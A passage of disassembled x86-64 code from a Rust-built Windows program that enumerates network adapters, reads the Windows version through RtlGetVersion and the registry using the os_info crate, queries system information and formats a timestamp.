shl rsi, 0x30
movzx r11d, r11w
shl r11, 0x20
or r11, rsi
movzx r10d, r10w
shl r10, 0x10
or r10, r11
movzx r9d, r9w
or r9, r10
movzx r8d, r8w
shl r8, 0x30
movzx edx, dx
shl rdx, 0x20
or rdx, r8
movzx ecx, cx
shl rcx, 0x10
or rcx, rdx
movzx eax, ax
or rax, rcx
btc r9, 0x30
or r9, rax
sete byte [rsp + 0x58]
mov rbp, qword [rsp + 0x4d8]
mov r14, qword [rsp + 0x4e8]
and dword [rsp + 0x990], 0
mov qword [rsp + 0x20], r15
xor ecx, ecx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.iphlpapi.dll_GetAdaptersAddresses
mov ecx, dword [rsp + 0x990]
test rcx, rcx
je 0x14001fa1f
mov al, byte [0x14038d300]
mov edx, 8
call fcn.14002a350
mov rdi, rax
mov qword [rsp + 0x20], r15
xor ecx, ecx
xor edx, edx
xor r8d, r8d
mov r9, rax
call sub.iphlpapi.dll_GetAdaptersAddresses
mov ebx, dword [rsp + 0x990]
test eax, eax
je 0x14001fa23
mov rcx, rdi
mov rdx, rbx
call fcn.14008c7ba
xor esi, esi
mov r14, qword [rsp + 0x98]
mov rbp, qword [rsp + 0x78]
lea rdi, [rsp + 0x4d8]
jmp 0x14001fd8d
xor ebx, ebx
xor edi, edi
mov r15, rdi
test r15, r15
je 0x14001faa3
mov rdx, qword [r15 + 0x48]
test rdx, rdx
je 0x1400298e3
mov eax, dword [r15 + 0x50]
movzx r12d, word [r15 + 0x54]
shl r12, 0x20
or r12, rax
mov r8, 0xffffffffffffffff
cmp word [rdx + r8*2 + 2], 0
lea r8, [r8 + 1]
jne 0x14001fa4f
lea rcx, [rsp + 0x990]
call fcn.140158840
mov rsi, qword [rsp + 0x990]
cmp qword [rsp + 0x9a0], r14
jne 0x14001fa8d
mov rcx, rsi
mov rdx, rbp
mov r8, r14
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x14001faa8
mov rdx, qword [rsp + 0x998]
mov rcx, rsi
call fcn.140087bce
mov r15, qword [r15 + 8]
jmp 0x14001fa26
xor r12d, r12d
jmp 0x14001fac0
mov rdx, qword [rsp + 0x998]
mov rcx, rsi
call fcn.140087bce
shl r12, 8
or r12, 1
mov rcx, rdi
mov rdx, rbx
call fcn.14008c7ba
test r12b, 1
mov r14, qword [rsp + 0x98]
lea r15, [rsp + 0x990]
mov rbp, qword [rsp + 0x78]
jne 0x14001faed
xor esi, esi
jmp 0x14001fd6c
mov rax, r12
shr r12, 0x28
mov word [rsp + 0x934], r12w
shr rax, 8
mov dword [rsp + 0x930], eax
mov ecx, 1
mov qword [rsp + 0x810], rcx
lea rdi, [rsp + 0x818]
movdqu xmmword [rdi], xmm6
lea rax, [rsp + 0x930]
mov qword [rsp + 0x260], rax
lea r8, [0x14005ae90]
mov qword [rsp + 0x268], r8
lea rax, [rsp + 0x931]
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x278], r8
lea rax, [rsp + 0x932]
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x288], r8
lea rax, [rsp + 0x933]
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], r8
mov r9d, 2
mov qword [rsp + 0x990], r9
and qword [rsp + 0x9a0], 0
mov qword [rsp + 0x9a8], r9
and qword [rsp + 0x9b0], 0
lea rax, [rsp + 0x934]
mov qword [rsp + 0x2a0], rax
mov qword [rsp + 0x2a8], r8
movabs rax, 0x800000020
mov qword [rsp + 0x9b8], rax
xor edx, edx
mov byte [rsp + 0x9c0], dl
mov qword [rsp + 0x9c8], r9
and qword [rsp + 0x9d8], 0
mov qword [rsp + 0x9e0], r9
mov qword [rsp + 0x9e8], rcx
mov qword [rsp + 0x9f0], rax
mov byte [rsp + 0x9f8], dl
mov qword [rsp + 0xa00], r9
and qword [rsp + 0xa10], 0
mov qword [rsp + 0xa18], r9
mov qword [rsp + 0xa20], r9
mov qword [rsp + 0xa28], rax
mov byte [rsp + 0xa30], dl
mov qword [rsp + 0xa38], r9
and qword [rsp + 0xa48], 0
mov qword [rsp + 0xa50], r9
mov qword [rsp + 0xa58], 3
mov qword [rsp + 0xa60], rax
mov byte [rsp + 0xa68], dl
mov qword [rsp + 0xa70], r9
and qword [rsp + 0xa80], 0
mov qword [rsp + 0xa88], r9
mov qword [rsp + 0xa90], 4
mov qword [rsp + 0xa98], rax
mov byte [rsp + 0xaa0], dl
mov qword [rsp + 0xaa8], r9
and qword [rsp + 0xab8], 0
lea rcx, [rsp + 0x935]
mov qword [rsp + 0x2b0], rcx
mov qword [rsp + 0x2b8], r8
mov qword [rsp + 0xac0], r9
mov qword [rsp + 0xac8], 5
mov qword [rsp + 0xad0], rax
mov byte [rsp + 0xad8], dl
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rsp + 0xe20], rax
mov ecx, 6
mov qword [rsp + 0xe28], rcx
mov qword [rsp + 0xe40], r15
mov qword [rsp + 0xe48], rcx
lea rax, [rsp + 0x260]
mov qword [rsp + 0xe30], rax
mov qword [rsp + 0xe38], rcx
lea rcx, [rsp + 0x810]
lea rdx, [0x140271328]
lea r8, [rsp + 0xe20]
call fcn.140058710
mov rsi, qword [rsp + 0x810]
movdqu xmm0, xmmword [rdi]
movdqa xmmword [rsp + 0x990], xmm0
lea rdi, [rsp + 0x4d8]
movdqa xmm0, xmmword [rsp + 0x990]
movdqa xmmword [rsp + 0x930], xmm0
xor ecx, ecx
call fcn.140096232
cmp byte [rsp + 0x4f0], 2
jne 0x14001fe59
mov rax, qword [rdi + 0x19]
mov rcx, qword [rdi + 0x1e]
mov qword [rsp + 0xe25], rcx
mov qword [rsp + 0x9c0], 0x20
mov byte [rsp + 0x9c8], 3
and qword [rsp + 0x990], 0
mov qword [rsp + 0xe20], rax
and qword [rsp + 0x9a0], 0
mov qword [rsp + 0x260], 1
lea rax, [rsp + 0x281]
movdqu xmmword [rax - 0x19], xmm6
lea rax, [rsp + 0x260]
mov qword [rsp + 0x9b0], rax
lea rax, [0x140271328]
mov qword [rsp + 0x9b8], rax
lea rcx, [rsp + 0xe29]
mov rdx, r15
call fcn.140055590
mov r8d, 0x37
mov ecx, eax
lea rdx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_string.rs
lea r9, [0x140346360]
call fcn.14000fb0f
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x820], rax
movups xmm0, xmmword [rsp + 0x260]
jmp 0x14001ff2b
mov al, byte [rdi + 0x48]
mov byte [rsp + 0x290], al
movups xmm0, xmmword [rdi + 0x18]
movdqu xmm1, xmmword [rdi + 0x28]
movdqu xmm2, xmmword [rdi + 0x38]
movdqa xmmword [rsp + 0x280], xmm2
movdqa xmmword [rsp + 0x270], xmm1
mov qword [rsp + 0x9c0], 0x20
mov byte [rsp + 0x9c8], 3
and qword [rsp + 0x990], 0
movaps xmmword [rsp + 0x260], xmm0
and qword [rsp + 0x9a0], 0
mov qword [rsp + 0xe20], 1
lea rax, [rsp + 0xe28]
movdqu xmmword [rax], xmm6
lea rax, [rsp + 0xe20]
mov qword [rsp + 0x9b0], rax
lea rax, [0x140271328]
mov qword [rsp + 0x9b8], rax
lea rcx, [rsp + 0x281]
mov rdx, r15
call fcn.140055770
mov r8d, 0x37
mov ecx, eax
lea rdx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_string.rs
lea r9, [0x140346360]
call fcn.14000fb0f
mov rax, qword [rsp + 0xe30]
mov qword [rsp + 0x820], rax
movups xmm0, xmmword [rsp + 0xe20]
movaps xmmword [rsp + 0x810], xmm0
mov eax, dword [rsp + 0x1c8]
mov dword [rsp + 0x12a8], eax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x12a0], rax
movaps xmm0, xmmword [rsp + 0x930]
movaps xmmword [rsp + 0xe20], xmm0
movups xmm0, xmmword [rdi]
movaps xmmword [rsp + 0x990], xmm0
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x9a0], rax
movaps xmm0, xmmword [rsp + 0x810]
movaps xmmword [rsp + 0x260], xmm0
mov rax, qword [rsp + 0x820]
mov qword [rsp + 0x270], rax
imul rax, r14, 0x78
mov rdx, qword [rsp + 0x68]
mov qword [rdx + rax], rsi
movaps xmm0, xmmword [rsp + 0xe20]
movups xmmword [rdx + rax + 8], xmm0
mov rcx, qword [rsp + 0x70]
mov qword [rdx + rax + 0x18], rcx
mov rcx, qword [rsp + 0x90]
mov qword [rdx + rax + 0x20], rcx
mov qword [rdx + rax + 0x28], 4
movaps xmm0, xmmword [rsp + 0x990]
movups xmmword [rdx + rax + 0x30], xmm0
mov rcx, qword [rsp + 0x9a0]
mov qword [rdx + rax + 0x40], rcx
movdqa xmm0, xmmword [rsp + 0x260]
movdqu xmmword [rdx + rax + 0x48], xmm0
mov rcx, qword [rsp + 0x270]
mov qword [rdx + rax + 0x58], rcx
mov ecx, dword [rsp + 0x60]
mov byte [rdx + rax + 0x60], cl
mov ecx, dword [rsp + 0x50]
mov dword [rdx + rax + 0x61], ecx
mov rcx, qword [rsp + 0x12a0]
mov qword [rdx + rax + 0x65], rcx
mov ecx, dword [rsp + 0x12a8]
mov dword [rdx + rax + 0x6d], ecx
mov cl, byte [rsp + 0x58]
mov byte [rdx + rax + 0x71], cl
mov ecx, dword [rsp + 0x4d0]
mov dword [rdx + rax + 0x72], ecx
movzx ecx, word [rsp + 0x4d4]
mov word [rdx + rax + 0x76], cx
inc r14
mov rsi, r13
jmp 0x14001f772
mov r13, rbp
sub rbp, r13
mov ecx, 0x58
mov rax, rbp
xor edx, edx
div rcx
mov rsi, rax
add r13, 0x10
sub rsi, 1
jb 0x14002008e
mov rcx, qword [r13 - 8]
mov rdx, qword [r13]
call fcn.1401371c1
add r13, 0x58
jmp 0x140020075
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
call fcn.14008aabb
cmp qword [rsp + 0x68], 0
je 0x14002077c
test r14, r14
je 0x1400200ca
imul rsi, r14, 0x68
mov rcx, rsi
call fcn.1400108b8
test rax, rax
jne 0x1400200cf
jmp 0x140029bab
mov eax, 8
imul rcx, r14, 0x78
mov rbp, qword [rsp + 0x68]
add rcx, rbp
mov qword [rsp + 0x60], rcx
imul rcx, r14, 0xffffffffffffff88
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x258], rax
lea r14, [rax + 0x64]
mov r13d, 0x78
xor ecx, ecx
pxor xmm6, xmm6
mov rax, qword [rsp + 0x50]
add rax, r13
cmp rax, 0x78
je 0x140020304
mov al, byte [rbp + 0x71]
cmp al, 2
mov qword [rsp + 0xb8], rcx
je 0x14002031e
mov ecx, 0x71
lea rdx, [rsp + 0x260]
mov rdi, rdx
mov rsi, rbp
rep movsb byte [rdi], byte [rsi]
movzx ecx, word [rbp + 0x76]
mov word [rsp + 0x814], cx
mov ecx, dword [rbp + 0x72]
mov dword [rsp + 0x810], ecx
mov ecx, 0x71
lea rdi, [rsp + 0x990]
mov rsi, rdx
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0xa01], al
movzx eax, word [rsp + 0x814]
lea rcx, [rsp + 0x9c0]
mov word [rcx + 0x46], ax
mov eax, dword [rsp + 0x810]
mov dword [rcx + 0x42], eax
mov qword [rsp + 0xe20], 1
mov qword [rsp + 0xf70], 0x20
mov byte [rsp + 0xf78], 3
and qword [rsp + 0xf40], 0
lea rax, [rsp + 0xe28]
movdqu xmmword [rax], xmm6
and qword [rsp + 0xf50], 0
lea rax, [rsp + 0xe20]
mov qword [rsp + 0xf60], rax
lea rax, [0x140271328]
mov qword [rsp + 0xf68], rax
cmp byte [rsp + 0x9f0], 0
je 0x140020206
lea rcx, [rsp + 0x9f1]
lea rdx, [rsp + 0xf40]
call fcn.140055770
jmp 0x14002021b
lea rcx, [rsp + 0x9f1]
lea rdx, [rsp + 0xf40]
call fcn.140055590
add rbp, 0x78
mov r8d, 0x37
mov ecx, eax
lea rdx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_string.rs
lea r9, [0x140346360]
call fcn.14000fb0f
mov rax, qword [rsp + 0xe30]
mov qword [rsp + 0x4e0], rax
cmp byte [rsp + 0x9f0], 1
movups xmm0, xmmword [rsp + 0xe20]
mov r12d, 2
sbb r12d, 0
movaps xmmword [rsp + 0x4d0], xmm0
mov r15b, byte [rsp + 0xa01]
mov rax, qword [rsp + 0x9a0]
lea rcx, [rsp + 0x518]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x990]
movups xmmword [rcx], xmm0
lea rdx, [rsp + 0x9c0]
mov rax, qword [rdx + 0x10]
mov qword [rcx - 0x20], rax
movups xmm0, xmmword [rdx]
movups xmmword [rcx - 0x30], xmm0
mov rax, qword [rdx + 0x28]
mov qword [rcx - 8], rax
movdqu xmm0, xmmword [rdx + 0x18]
movdqu xmmword [rcx - 0x18], xmm0
mov rcx, qword [rsp + 0x9a8]
mov rdx, qword [rsp + 0x9b0]
call fcn.1401371c1
lea rdi, [r14 - 0x64]
mov ecx, 0xc
lea rsi, [rsp + 0x4d0]
rep movsq qword [rdi], qword [rsi]
mov dword [r14 - 4], r12d
mov byte [r14], r15b
mov rcx, qword [rsp + 0xb8]
inc rcx
add r13, 0x78
add r14, 0x68
jmp 0x140020101
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x60]
mov r13, rax
jmp 0x140020328
add r13, qword [rsp + 0x68]
mov rax, qword [rsp + 0x60]
sub rax, r13
mov ecx, 0x78
xor edx, edx
div rcx
mov rsi, rax
add r13, 0x50
sub rsi, 1
jb 0x14002037c
mov rcx, qword [r13 - 0x38]
mov rdx, qword [r13 - 0x30]
call fcn.1401371c1
mov rcx, qword [r13 - 0x50]
mov rdx, qword [r13 - 0x48]
call fcn.140096232
mov rcx, qword [r13 - 0x20]
mov rdx, qword [r13 - 0x18]
call fcn.1401371c1
mov rcx, qword [r13 - 8]
mov rdx, qword [r13]
call fcn.1401371c1
add r13, 0x78
jmp 0x14002033c
mov rax, qword [rsp + 0xa8]
test rax, rax
je 0x14002039c
imul r8, rax, 0x78
mov edx, 8
mov rcx, qword [rsp + 0x68]
call fcn.1400108ae
mov rax, qword [0x14038d2f0]
cmp rax, 4
jbe 0x1400203ee
lea rax, str.windows::current_platform_is_called
lea rcx, [rsp + 0x990]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea r8, str.os_info::imp_usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_os_info_3.7.0_src_windows_mod.rs
mov edx, 5
mov r9d, 8
call fcn.14008c68e
lea rcx, str.ntdll
call sub.kernel32.dll_GetModuleHandleA
test rax, rax
je 0x140020610
lea rdx, str.RtlGetVersion
mov rcx, rax
call sub.kernel32.dll_GetProcAddress
mov rsi, rax
lea rdi, [rsp + 0x994]
mov r8d, 0x118
mov rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
mov dword [rdi - 4], 0x11c
lea rcx, [rsp + 0x990]
call rsi
test eax, eax
jne 0x1400206ad
mov r12d, dword [rsp + 0x994]
mov ebp, dword [rsp + 0x998]
mov r13d, dword [rsp + 0x99c]
movzx ebx, word [rsp + 0xaa8]
mov r14b, byte [rsp + 0xaaa]
lea rdx, [0x1402ac188]
lea rsi, [rsp + 0xe20]
mov r8d, 0x2c
mov rcx, rsi
call fcn.1400927a8
and qword [rsp + 0x930], 0
mov rsi, qword [rsi]
lea rax, [rsp + 0x930]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
mov rdx, rsi
xor r8d, r8d
mov r9d, 0x20019
call sub.ADVAPI32.dll_RegOpenKeyExW
test eax, eax
jne 0x1400206b6
cmp qword [rsp + 0x930], 0
je 0x1400206b6
mov word [rsp + 0x60], bx
mov byte [rsp + 0x50], r14b
cmp r12d, 0xa
sete al
cmp r13d, 0x55f0
setae r14b
and r14b, al
mov eax, r14d
xor al, 1
movzx eax, al
lea r8, [rax*2 + 9]
lea rax, [0x1402ac1bf]
lea rdx, [0x1402ac1b4]
test r14b, r14b
cmovne rdx, rax
lea rdi, [rsp + 0xf40]
mov rcx, rdi
call fcn.1400927a8
lea r9, [rsp + 0x140]
and dword [r9], 0
and dword [rsp + 0x1c0], 0
mov rcx, qword [rsp + 0x930]
mov rbx, qword [rdi]
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
mov rdx, rbx
xor r8d, r8d
call sub.ADVAPI32.dll_RegQueryValueExW
test eax, eax
jne 0x1400207f8
cmp dword [rsp + 0x140], 1
jne 0x1400207f8
mov r15d, dword [rsp + 0x1c0]
test r15d, r15d
je 0x1400207f8
mov eax, r15d
and eax, 1
jne 0x1400207f8
mov edi, r15d
shr edi, 1
mov rcx, rdi
mov dl, 1
call fcn.140091fe1
mov r8, rax
mov qword [rsp + 0x90], rdx
mov rcx, qword [rsp + 0x930]
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x70], r8
mov qword [rsp + 0x20], r8
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call sub.ADVAPI32.dll_RegQueryValueExW
test eax, eax
jne 0x140020854
mov eax, dword [rsp + 0x1c0]
lea rcx, [rdi + rdi]
cmp rcx, rax
jne 0x140020854
cmp r15d, 2
jae 0x140020a64
xor r8d, r8d
mov r15, qword [rsp + 0x70]
jmp 0x140020a78
mov rax, qword [0x14038d2f0]
test rax, rax
je 0x1400206ad
lea rdx, str.ntdll
mov r8d, 6
lea rsi, [rsp + 0x260]
mov rcx, rsi
call fcn.14004a8c0
lea r9, [rsp + 0x4d0]
mov qword [r9], rsi
lea rax, [0x1400921f0]
mov qword [r9 + 8], rax
mov qword [rsp + 0x20], 1
lea rdx, [0x1402ac3b8]
lea rsi, [rsp + 0x990]
mov r8d, 2
mov rcx, rsi
call fcn.14000db98
lea r8, str.os_info::imp::winapi
mov edx, 1
mov rcx, rsi
mov r9d, 0x110
call fcn.14008c68e
mov rcx, qword [rsp + 0x260]
test rcx, rcx
je 0x1400206ad
mov rdx, qword [rsp + 0x268]
call fcn.1401371c1
xor edi, edi
xor eax, eax
jmp 0x140020b56
mov rax, qword [0x14038d2f0]
test rax, rax
je 0x140020707
lea rax, str.RegOpenKeyExW_HKEY_LOCAL_MACHINE__...__failed
lea rcx, [rsp + 0x990]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea r8, str.os_info::imp::winapi
mov edx, 1
mov r9d, 0x89
call fcn.14008c68e
and qword [rsp + 0x260], 0
jmp 0x140020889
lea rcx, [rsp + 0x810]
call fcn.14000edaf
mov rcx, rdi
call fcn.140010d2a
mov qword [rsp + 0xa8], rax
mov rsi, qword [rsp + 0xa0]
jmp 0x140029650
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.1401b77d4
call sub.kernel32.dll_GetLastError
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov ecx, 8
xor edx, edx
call fcn.14008aabb
mov rcx, rsi
call fcn.140010d2a
mov qword [rsp + 0xa8], rax
mov rcx, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x248]
call fcn.1401371c1
mov rcx, qword [rsp + 0xde0]
mov rdx, qword [rsp + 0xde8]
call fcn.1401371c1
mov rcx, qword [rsp + 0x1260]
mov rdx, qword [rsp + 0x1268]
call fcn.1401371c1
lea rcx, [rsp + 0x11a0]
call fcn.14000f0d3
jmp 0x140022c97
mov esi, 0x10
jmp 0x14001d923
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_slicemod.rs
mov rcx, r14
mov rdx, r14
jmp 0x1400292b1
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_slicemod.rs
mov rcx, rdi
jmp 0x1400292b1
mov rax, qword [0x14038d2f0]
test rax, rax
je 0x140020849
lea rax, str.RegQueryValueExW_failed
lea rcx, [rsp + 0x990]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea r8, str.os_info::imp::winapi
mov edx, 1
mov r9d, 0xa5
call fcn.14008c68e
and qword [rsp + 0x260], 0
jmp 0x14002086f
and qword [rsp + 0x260], 0
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x90]
call fcn.14019d415
mov r14b, byte [rsp + 0x50]
mov rdx, qword [rsp + 0xf48]
mov rcx, rbx
call fcn.14019d415
movzx ebx, word [rsp + 0x60]
mov rdx, qword [rsp + 0xe28]
mov rcx, rsi
call fcn.14019d415
cmp r12, 5
je 0x14002091a
cmp r12d, 6
je 0x1400208e0
cmp r12d, 0xa
jne case.default.0x1400208f3
test rbp, rbp
jne case.default.0x1400208f3
cmp r14b, 1
jne 0x140020a53
cmp r13d, 0x55f0
lea rax, [0x1402ac2a2]
lea r14, str.Windows_10Windows_11Windows_Server_2016Windows_8.1Windows_Server_2012_R2Windows_8Windows_Server_2012Windows_7Windows_Server_2008_R2Windows_VistaWindows_Server_2008Windows_XPWindows_2000Windows_Server_2003Windows_XP_Professional_x64_EditionWindows_Home_ServerGetModuleHandleA___failed
cmovae r14, rax
jmp 0x1400209cb
cmp ebp, 3
ja case.default.0x1400208f3
lea rax, [0x14026a614]
movsxd rcx, dword [rax + rbp*4]
add rcx, rax
jmp rcx
cmp r14b, 1
mov eax, 0xd
mov esi, 0x13
cmove rsi, rax
lea rax, [0x1402ac31b]
lea r14, [0x1402ac328]
jmp 0x140020a4a
test rbp, rbp
je 0x1400209d5
cmp ebp, 1
je 0x1400209c4
cmp ebp, 2
jne case.default.0x1400208f3
mov ecx, 0x59
call sub.user32.dll_GetSystemMetrics
test eax, eax
je 0x140020ad6
xor edi, edi
jmp 0x140020b51
lea rcx, [rsp + 0x990]
call fcn.14006142c
mov rdx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0x998], rcx
mov qword [rsp + 0x9a0], rdx
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x9a8], rax
mov rax, qword [rsp + 0x98]
mov byte [rsp + 0x9b0], al
mov rcx, qword [rsp + 0x118]
mov dword [rsp + 0x9b1], ecx
mov rax, rcx
shr rax, 0x30
mov byte [rsp + 0x9b7], al
shr rcx, 0x20
mov word [rsp + 0x9b5], cx
jmp 0x14001bac2
lea r14, [0x1402ac33b]
mov esi, 0xa
jmp 0x140020b35
lea r14, [0x1402ac345]
mov esi, 0xc
jmp 0x140020b35
cmp r14b, 1
mov eax, 9
mov esi, 0x13
cmove rsi, rax
lea rax, [0x1402ac2e0]
lea r14, [0x1402ac2e9]
jmp 0x140020a4a
cmp r14b, 1
mov eax, 0xb
mov esi, 0x16
cmove rsi, rax
lea rax, [0x1402ac2bf]
lea r14, [0x1402ac2ca]
jmp 0x140020a4a
cmp r14b, 1
mov eax, 9
mov esi, 0x16
cmove rsi, rax
lea rax, [0x1402ac2fc]
lea r14, [0x1402ac305]
cmove r14, rax
jmp 0x140020b35
lea r14, [0x1402ac2ac]
mov esi, 0x13
jmp 0x140020b35
lea r8, [rdi - 1]
mov r15, qword [rsp + 0x70]
cmp word [r15 + rdi*2 - 2], 0
cmovne r8, rdi
lea rbx, [rsp + 0x990]
mov rcx, rbx
mov rdx, r15
call fcn.140158840
mov rsi, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rbx, [rsp + 0x260]
mov rcx, rbx
mov rdx, rsi
call fcn.140185f40
cmp qword [rbx], 0
je 0x14002973e
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x4e0], rax
movdqu xmm0, xmmword [rsp + 0x260]
movdqa xmmword [rsp + 0x4d0], xmm0
jmp 0x14002978f
pxor xmm0, xmm0
lea rcx, [rsp + 0x990]
movdqa xmmword [rcx + 0x20], xmm0
movdqa xmmword [rcx + 0x10], xmm0
movdqa xmmword [rcx], xmm0
call sub.kernel32.dll_GetSystemInfo
test bx, bx
js 0x14002989b
cmp r14b, 1
sete al
cmp word [rsp + 0x990], 9
sete cl
and cl, al
movzx eax, cl
mov rsi, rax
shl rsi, 4
add rsi, 0x13
lea rcx, [0x1402ac364]
lea r14, [0x1402ac351]
test al, al
cmovne r14, rcx
mov rcx, rsi
call fcn.1400921ab
mov rdi, rax
mov rbx, rdx
mov rcx, rax
mov rdx, r14
mov r8, rsi
call sub.msvcrt.dll_memcpy
mov eax, 1
lea r14, [rsp + 0x9b0]
and qword [r14 - 0x20], 0
and qword [r14], 0
and qword [r14 + 0x18], 0
mov word [r14 + 0x48], 0x2700
and qword [r14 + 0x30], 0
mov byte [rsp + 0x2c9], 0x28
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x268], r12
mov qword [rsp + 0x270], rbp
mov qword [rsp + 0x278], r13
mov qword [rsp + 0x280], rdi
mov qword [rsp + 0x288], rbx
mov qword [rsp + 0x290], rsi
mov rax, qword [r14 + 0x28]
mov qword [rsp + 0x2a8], rax
movups xmm0, xmmword [r14 + 0x18]
movups xmmword [rsp + 0x298], xmm0
mov byte [rsp + 0x2c8], 2
movups xmm0, xmmword [r14 + 0x30]
movups xmmword [rsp + 0x2b0], xmm0
mov rax, qword [r14 + 0x40]
mov qword [rsp + 0x2c0], rax
lea r13, [rsp + 0x990]
mov rcx, r13
call fcn.140092960
mov rcx, r14
call fcn.140152597
mov rax, qword [0x14038d2f0]
cmp rax, 5
jb 0x140020c75
lea r9, [rsp + 0x4d0]
lea rax, [rsp + 0x260]
mov qword [r9], rax
lea rax, [0x140092988]
mov qword [r9 + 8], rax
mov qword [rsp + 0x20], 1
lea rdx, str.Returning
lea rsi, [rsp + 0x990]
mov r8d, 1
mov rcx, rsi
call fcn.14000db98
lea r8, str.os_info::imp_usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_os_info_3.7.0_src_windows_mod.rs
mov edx, 5
mov rcx, rsi
mov r9d, 0xa
call fcn.14008c68e
lea rsi, [rsp + 0x260]
mov ecx, 0xe
mov rdi, r13
rep movsq qword [rdi], qword [rsi]
lea r12, [rsp + 0xf40]
mov qword [r12], r13
lea rax, [0x14009226d]
mov qword [r12 + 8], rax
mov qword [rsp + 0x20], 1
lea rsi, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
lea rdi, [rsp + 0x260]
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
mov r9, r12
call fcn.14000db98
lea rcx, [rsp + 0x4d0]
mov rdx, rdi
call fcn.1400101cf
mov rax, qword [rsp + 0x990]
cmp rax, 2
jb 0x140020d1b
cmp eax, 2
jne 0x140020d06
mov rcx, qword [rsp + 0x998]
mov rdx, qword [rsp + 0x9a0]
call fcn.140096232
jmp 0x140020d1b
mov rcx, qword [rsp + 0x998]
mov rdx, qword [rsp + 0x9a0]
call fcn.1401371c1
mov rcx, qword [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b8]
call fcn.140096232
mov rcx, qword [rsp + 0x9c8]
mov rdx, qword [rsp + 0x9d0]
call fcn.140096232
mov rcx, qword [rsp + 0x9e0]
mov rdx, qword [rsp + 0x9e8]
call fcn.140096232
movdqu xmm0, xmmword [rsp + 0x4d0]
movdqa xmmword [rsp + 0x1280], xmm0
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x1290], rax
call fcn.140186910
shl rdx, 0x20
mov ecx, eax
or rcx, rdx
movabs r8, 0x19db1ded53e8000
mov rdx, rcx
sub rdx, r8
neg rdx
movabs rax, 0xfe624e212ac18000
add rax, rcx
cmp rcx, r8
cmovl rax, rdx
mov r9d, 0x989680
xor edx, edx
div r9
imul r15d, edx, 0x64
cmp rcx, r8
jge 0x140020de4
mov rcx, rax
neg rcx
mov r8d, 0x3b9aca00
sub r8d, r15d
test edx, edx
cmove r8d, edx
not rax
cmove rax, rcx
mov r15d, r8d
mov ecx, 0x15180
cqo
idiv rcx
mov rcx, rdx
mov r8, rdx
sar r8, 0x3f
add eax, r8d
add eax, 0xafaa8
mov r9d, 0x23ab1
cdq
idiv r9d
mov ebx, eax
mov edi, r8d
and edi, 0x15180
add edi, ecx
mov ecx, edx
sar ecx, 0x1f
add ebx, ecx
and ecx, r9d
add ecx, edx
call fcn.14004ebda
mov ebp, eax
mov r14d, edx
mov ecx, eax
call fcn.14004ec46
imul ecx, ebx, 0x190
add ecx, ebp
mov edx, r14d
mov r8d, eax
call fcn.14004ec77
cmp edi, 0x1517f
ja 0x140029d13
mov r8d, eax
mov ecx, edx
cmp r15d, 0x3b9aca00
setae r9b
mov r10d, 0x3c
mov eax, edi
xor edx, edx
div r10d
cmp edx, 0x3b
setne al
test r9b, al
jne 0x140029d13
cmp r8d, 1
jne 0x140029d13
lea rbx, [rsp + 0x1390]
mov dword [rbx], edi
mov dword [rbx + 4], r15d
mov dword [rbx + 8], ecx
mov ecx, 0x26
call fcn.14019d3bb
mov qword [rsp + 0x4d0], rax
mov qword [rsp + 0x4d8], rdx
